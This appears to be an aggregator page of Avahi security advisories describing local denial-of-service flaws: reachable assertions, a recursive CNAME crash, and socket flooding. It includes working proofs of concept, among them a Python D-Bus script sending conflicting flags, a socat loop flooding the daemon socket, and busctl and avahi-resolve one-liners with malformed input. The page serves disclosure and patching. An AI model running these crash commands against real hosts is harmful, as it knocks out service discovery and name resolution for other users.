See how avahi compares to other vendors in security performance
https://github.com/avahi/avahi/security/advisories/GHSA-w65r-6gxh-vhvc advises: Reachable assertion in transportflagsfromdomain (CVE-2026-34933)
Moderate evverx published GHSA-w65r-6gxh-vhvc Apr 1, 2026
Affected versions: <=v0.9-rc3 Patched versions: v0.9-rc4
Description ----------- In all versions up to and including 0.8 and 0.9-rc3, any unprivileged local user can crash avahi-daemon by sending a single D-Bus method call with conflicting publish flags.
The AVAHIPUBLISHUSEMULTICAST (0x100) and AVAHIPUBLISHUSEWIDEAREA (0x80) flags are individually accepted by the AVAHIFLAGSVALID() validation macro at entry.c:201-209 (for AddRecord) and entry.c:593-597 (for AddService), since both are listed in the allowed flags bitmask. However, these flags are mutually exclusive, and the function transportflagsfromdomain() at entry.c:57 enforces this exclusivity with an assert():
static void transportflagsfromdomain(AvahiServer s, AvahiPublishFlags flags, const char domain) { assert(flags); assert(domain);
assert(!((flags & AVAHIPUBLISHUSEMULTICAST) && (flags & AVAHIPUBLISHUSEWIDEAREA))); // ... }
When both flags are set simultaneously (flags = 0x180), the assertion fails, causing the daemon to abort with SIGABRT. The D-Bus system bus policy (avahi-dbus.conf) allows any local user to call EntryGroupNew and AddService without restrictions.
Root cause ---------- The flags validation (AVAHIFLAGSVALID) and the mutual exclusivity check (assert in transportflagsfromdomain) are performed at different layers with no coordination:
1. AVAHIFLAGSVALID(flags, mask) checks !(flags & ~mask) -- it verifies that no unknown bits are set, but does not check for mutually exclusive combinations. 2. transportflagsfromdomain() enforces mutual exclusivity via assert(), which is a fatal operation in a production daemon.
Affected D-Bus methods ---------------------- The following D-Bus methods on org.freedesktop.Avahi.EntryGroup accept a flags parameter that reaches the vulnerable function:
Method D-Bus handler Core function AddService dbus-entry-group.c:166 serveraddservicestrlstnocopy() -> transportflagsfromdomain() AddServiceSubtype dbus-entry-group.c:213 serveraddservicestrlstnocopy() -> transportflagsfromdomain() AddAddress dbus-entry-group.c:280 avahiserveraddaddress() -> transportflagsfromdomain() AddRecord dbus-entry-group.c:311 avahiserveradd() -> serveraddinternal() -> transportflagsfromdomain() UpdateServiceTxt dbus-entry-group.c:370 serverupdateservicetxtstrlstnocopy() -> transportflagsfromdomain()
Proof of Concept ----------------
#!/usr/bin/env python3 """Any local unprivileged user can crash avahi-daemon with this script.""" import dbus
AVAHIPUBLISHUSEWIDEAREA = 128 # 0x80 AVAHIPUBLISHUSEMULTICAST = 256 # 0x100 CONFLICTINGFLAGS = AVAHIPUBLISHUSEWIDEAREA | AVAHIPUBLISHUSEMULTICAST
bus = dbus.SystemBus() server = dbus.Interface( bus.getobject('org.freedesktop.Avahi', '/'), 'org.freedesktop.Avahi.Server' )
Create an entry group egpath = server.EntryGroupNew() eg = dbus.Interface( bus.getobject('org.freedesktop.Avahi', egpath), 'org.freedesktop.Avahi.EntryGroup' )
Trigger the crash: AddService with both MULTICAST and WIDEAREA flags eg.AddService( dbus.Int32(-1), # interface (AVAHIIFUNSPEC) dbus.Int32(-1), # protocol (AVAHIPROTOUNSPEC) dbus.UInt32(CONFLICTINGFLAGS), # flags = 0x180 (CRASH) dbus.String("PoC-Service"), # name dbus.String("http.tcp"), # type dbus.String(""), # domain dbus.String(""), # host dbus.UInt16(8080), # port dbus.Array([], signature='ay') # TXT records )
Reproduction ------------
On any Linux system with avahi-daemon running: apt install python3-dbus # if not already installed python3 poc.py
Verify crash: systemctl status avahi-daemon Expected: "avahi-daemon.service: Main process exited, code=exited, status=134/n/a"
journalctl -u avahi-daemon -n 5 Expected: "entry.c:57: transportflagsfromdomain: Assertion !((flags & AVAHIPUBLISHUSEMULTICAST) && (flags & AVAHIPUBLISHUSEWIDEAREA))' failed."
Impact ------
Any unprivileged local user can immediately crash the avahi-daemon process. All mDNS/DNS-SD services on the host become unavailable. Applications relying on nss-mdns for .local hostname resolution fail. Network service discovery (printers, Chromecast, AirPlay, etc.) stops. While systemd auto-restarts the daemon, repeated crashes cause a persistent DoS.
Credit ------ Discovered by Guillaume MEUNIER - Head of VOC France - Orange Cyberdefense on 2026-03-10.
Fix --- It was addressed in <https://github.com/avahi/avahi/pull/891>.
Severity: Moderate - 5.5 / 10 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H CVE ID: CVE-2026-34933 Weakness: CWE-617 -- -Alan Coopersmith- alan.coopersmith () oracle com Oracle Solaris Engineering - https://blogs.oracle.com/solaris
Avahi is a system which facilitates service discovery on a local network via the mDNS/DNS-SD protocol suite. Prior to version 0.9-rc4, any unprivileged local user can crash avahi-daemon by sending a single D-Bus method call with conflicting publish flags. This issue has been patched in version 0.9-rc4.
Avahi is a system which facilitates service discovery on a local network via the mDNS/DNS-SD protocol suite. In versions 0.9rc2 and below, avahi-daemon can be crashed via a segmentation fault by sending an unsolicited mDNS response containing a recursive CNAME record, where the alias and canonical name point to the same domain (e.g., "h.local" as a CNAME for "h.local"). This causes unbounded recursion in the lookuphandlecname function, leading to stack exhaustion. The vulnerability affects record browsers where AVAHILOOKUPUSEMULTICAST is set explicitly, which includes record browsers created by resolvers used by nss-mdns. This issue is patched in commit 78eab31128479f06e30beb8c1cbf99dd921e2524.
Avahi has a reachable assertion in lookupstart
Avahi has a reachable assertion in lookupmulticastcallback
Avahi has a reachable assertion in avahiwideareascancache
https://github.com/avahi/avahi/security/advisories/GHSA-73wf-3xmj-x82q advises: Summary -------
The simple protocol server ignores the documented client limit and accepts unlimited connections, allowing for easy local DoS.
Details -------
Although CLIENTSMAX is defined, serverwork() unconditionally accept()s and clientnew() always appends the new client and increments nclients. There is no check against the limit.
When client cannot be accepted as a result of maximal socket number of avahi-daemon, it logs unconditionally error per each connection.
PoC ---
Flood the UNIX simple-protocol socket with idle connections for i in $(seq 1 4000); do socat - UNIX-CONNECT:/run/avahi-daemon/socket >/dev/null 2>&1 & done wait
Watch avahi-daemon’s memory/FD count grow until it becomes unresponsive or crashes, such as an endless loop of:
accept(): Too many open files accept(): Too many open files accept(): Too many open files accept(): Too many open files accept(): Too many open files accept(): Too many open files accept(): Too many open files accept(): Too many open files accept(): Too many open files accept(): Too many open files accept(): Too many open files accept(): Too many open files accept(): Too many open files accept(): Too many open files
Impact ------
Unprivileged local users can exhaust daemon memory and file descriptors, causing a denial of service system-wide for mDNS/DNS-SD.
Exahusting local file descriptors causes increased system load caused by logging errors of each of request.
Overloading prevents glibc calls using nss-mdns plugins to resolve .local. names and link-local addresses.
Workarounds -----------
Simple clients are offered for nss-mdns package functionality. It is not possible to disable the unix socket /run/avahi-daemon/socket, but resolution requests received via DBus are not affected directly. Tools avahi-resolve, avahi-resolve-address and avahi-resolve-host-name are not affected, they use DBus interface.
It is possible to change permissions of unix socket after avahi-daemon is started. But avahi-daemon does not provide any configuration for it. Additional access restrictions like SELinux can also prevent unwanted tools to access the socket and keep resolution working for trusted users.
Fixes -----
Candidate only: https://github.com/avahi/avahi/pull/808
Credits -------
We would like to thank Joshua Rogers using the ZeroPath tool for discovering and reporting the issue responsibly.
published article about it: Avahi Simple Protocol Server DoS (CVE-2025-59529) https://zeropath.com/blog/avahi-simple-protocol-server-dos-cve-2025-59529
Severity: Moderate, 5.5 / 10 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H CVE ID: CVE-2025-59529 Weaknesses: CWE-400 -- -Alan Coopersmith- alan.coopersmith () oracle com Oracle Solaris Engineering - https://blogs.oracle.com/solaris
Avahi is a system which facilitates service discovery on a local network via the mDNS/DNS-SD protocol suite. In versions up to and including 0.9-rc2, the simple protocol server ignores the documented client limit and accepts unlimited connections, allowing for easy local DoS. Although CLIENTSMAX is defined, serverwork() unconditionally accept()s and clientnew() always appends the new client and increments nclients. There is no check against the limit. When client cannot be accepted as a result of maximal socket number of avahi-daemon, it logs unconditionally error per each connection. Unprivileged local users can exhaust daemon memory and file descriptors, causing a denial of service system-wide for mDNS/DNS-SD. Exhausting local file descriptors causes increased system load caused by logging errors of each of request. Overloading prevents glibc calls using nss-mdns plugins to resolve .local. names and link-local addresses. As of time of publication, no known patched versions are available, but a candidate fix is available in pull request 808, and some workarounds are available. Simple clients are offered for nss-mdns package functionality. It is not possible to disable the unix socket /run/avahi-daemon/socket, but resolution requests received via DBus are not affected directly. Tools avahi-resolve, avahi-resolve-address and avahi-resolve-host-name are not affected, they use DBus interface. It is possible to change permissions of unix socket after avahi-daemon is started. But avahi-daemon does not provide any configuration for it. Additional access restrictions like SELinux can also prevent unwanted tools to access the socket and keep resolution working for trusted users.
Moderate: avahi security update
A flaw was found in the Avahi-daemon, where it initializes DNS transaction IDs randomly only once at startup, incrementing them sequentially after that. This predictable behavior facilitates DNS spoofing attacks, allowing attackers to guess transaction IDs.
The sequential increment of DNS transaction IDs makes Avahi vulnerable to DNS spoofing, allowing attackers to inject malicious DNS records. This can compromise the integrity of DNS responses, redirecting users to potentially harmful domains. This vulnerability poses a greater risk as it directly undermines the integrity of DNS resolution, affecting all systems using Avahi for wide-area DNS queries unless mitigations are applied.
A flaw was found in Avahi-daemon, which relies on fixed source ports for wide-area DNS queries. This issue simplifies attacks where malicious DNS responses are injected.
This vulnerability exposes Avahi-daemon to potential DNS spoofing attacks by using a fixed source port for queries. However, the impact is limited because it only affects wide-area DNS and can be mitigated by forwarding queries to local DNS resolvers (e.g., systemd-resolved), which provide better randomization. The impact is primarily on systems actively using wide-area DNS, with .local mDNS being unaffected.
While the CVE database still shows them as reserved, Red Hat's & Debian's trackers show several CVE's being assigned for client requests that can cause the Avahi server to abort with an assertion failure. Only one of them has a fix available so far.
----------------------------------------------------------------------------
CVE-2023-38469: https://github.com/lathiat/avahi/issues/455 Reachable assertion in avahidnspacketappendrecord
"It can be triggered by unprivileged local users (unless disable-user-service-publishing is set to yes explicitly):
avahi-publish -s T qotd.tcp 22 $(perl -le 'print "A " x 100000')"
----------------------------------------------------------------------------
CVE-2023-38470: https://github.com/lathiat/avahi/issues/454 Reachable assertion in avahiescapelabel
"avahi-resolve -n ',.=.}.=.?-.}.=.?.?.}.}.?.?.?.z.?.?.}.}.}.?.?.?.r.=.=.}.=.?.}}.}.?.?.?.zM.=.=.?.?.}.}.?.?.}.}.}.?.?.?.r.=.=.}.=.?.}}.}.?.?.?.zM.=.=.?.?.}.}.?.?.?.zM.??.}.}.}.?.?.?.r.=.?.}.=.?.?.}.?.?.?.}.=.?.?.}??.}.}.?.?.?.z.?.?.}.}.}.?.?.?.r.=.=.}.=.?.}}.}.?.?.?.zM.??.}.}.}.??.?.zM.??.}.}.}.?.?.?.r.=.?.}.=.?.?.}.?.?.?.}.=.?.?.}??.}.}.?.?.?.z.?.?.}.}.}.?.?.?.r.=.=.}.=.?.}}.}.?.?.?.zM.??.}.}.}.?.?.?.r.=.=.?.?.?.?}.}.}.?.?.?.r.=.?.}.=.?.?.}.?.?.?.}.=.?.?.}'"
Fix: https://github.com/lathiat/avahi/commit/94cb6489114636940ac683515417990b55b5d66c
----------------------------------------------------------------------------
CVE-2023-38471: https://github.com/lathiat/avahi/issues/453 Reachable assertion in dbussethostname
"It can be triggered by unprivileged local users unless 1c599d8 is backported.
busctl call org.freedesktop.Avahi / org.freedesktop.Avahi.Server2 SetHostName "s" 'A\.B'"
----------------------------------------------------------------------------
CVE-2023-38472: https://github.com/lathiat/avahi/issues/452 Reachable assertion in avahirdataparse
"It can be reproduced by calling something like
org.freedesktop.Avahi /Client/EntryGroup org.freedesktop.Avahi.EntryGroup AddRecord "iiusqquay" 0 0 0 '' 0 0 0 0
using
avahientrygroupaddrecord (group, AVAHIIFUNSPEC, AVAHIPROTOUNSPEC, 0, "Test", 0x01, 0x10, 120, "", 0)
from inside a client creating EntryGroups. It can be triggered by unprivileged users unless disable-user-service-publishing is set to yes explicitly. By default it's set to no."
----------------------------------------------------------------------------
CVE-2023-38473: https://github.com/lathiat/avahi/issues/451 Reachable assertion in avahialternativehostname
"busctl call org.freedesktop.Avahi / org.freedesktop.Avahi.Server GetAlternativeHostName "s" ').'"
-- -Alan Coopersmith- alan.coopersmith () oracle com Oracle Solaris Engineering - https://blogs.oracle.com/solaris
A reachable assertion was found in avahialternativehostname.
References:
https://github.com/lathiat/avahi/issues/451
A reachable assertion was found in avahialternativehostname.
References:
https://github.com/lathiat/avahi/issues/451
A reachable assertion was found in avahirdataparse.
References:
https://github.com/lathiat/avahi/issues/452
A reachable assertion was found in avahirdataparse.
References:
https://github.com/lathiat/avahi/issues/452
A reachable assertion was found in dbussethostname.
References:
https://github.com/lathiat/avahi/issues/453
A reachable assertion was found in avahiescapelabel.
References:
https://github.com/lathiat/avahi/issues/454
A reachable assertion was found in avahidnspacketappendrecord.
References:
https://github.com/lathiat/avahi/issues/455
A reachable assertion was found in avahidnspacketappendrecord.
References:
https://github.com/lathiat/avahi/issues/455
It was discovered that the avahi deamon can be locally crashed by a dbus call made by an unprivileged user, causing a denial of service.
References:
https://github.com/lathiat/avahi/issues/375
A vulnerability was found in the avahi library. This flaw allows an unprivileged user to make a dbus call, causing the avahi daemon to crash.
A local Dos in avahi-daemon that can be triggered by trying to resolve badly-formatted hostnames on the /run/avahi-daemon/socket interface.
References:
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=986018
A flaw was found in avahi 0.8-5. A reachable assertion is present in avahishostnameresolverstart function allowing a local attacker to crash the avahi service by requesting hostname resolutions through the avahi socket or dbus methods for invalid hostnames. The highest threat from this vulnerability is to the service availability.
A flaw was found in avahi deamon. Denial of service can be triggered by writing long lines to /run/avahi-daemon/socket resulting in an unresponsive busy-loop of the daemon.
References:
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=984938
A flaw was found in avahi deamon. Denial of service can be triggered by writing long lines to /run/avahi-daemon/socket resulting in an unresponsive busy-loop of the daemon.
References:
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=984938
avahi-daemon-check-dns.sh in the Debian avahi package through 0.8-4 is executed as root via /etc/network/if-up.d/avahi-daemon and allows a local attacker to cause a denial of service or create arbitrary empty files via a symlink attack on files under /run/avahi-daemon. NOTE: this only affects the packaging for Debian GNU/Linux (used indirectly by SUSE) not the upstream Avahi product.
avahi-daemon in Avahi through 0.6.32 and 0.7 inadvertently responds to IPv6 unicast queries with source addresses that are not on-link, which allows remote attackers to cause a denial of service (traffic amplification) and may cause information leakage by obtaining potentially sensitive information from the responding device via port-5353 UDP packets. NOTE: this may overlap CVE-2015-2809.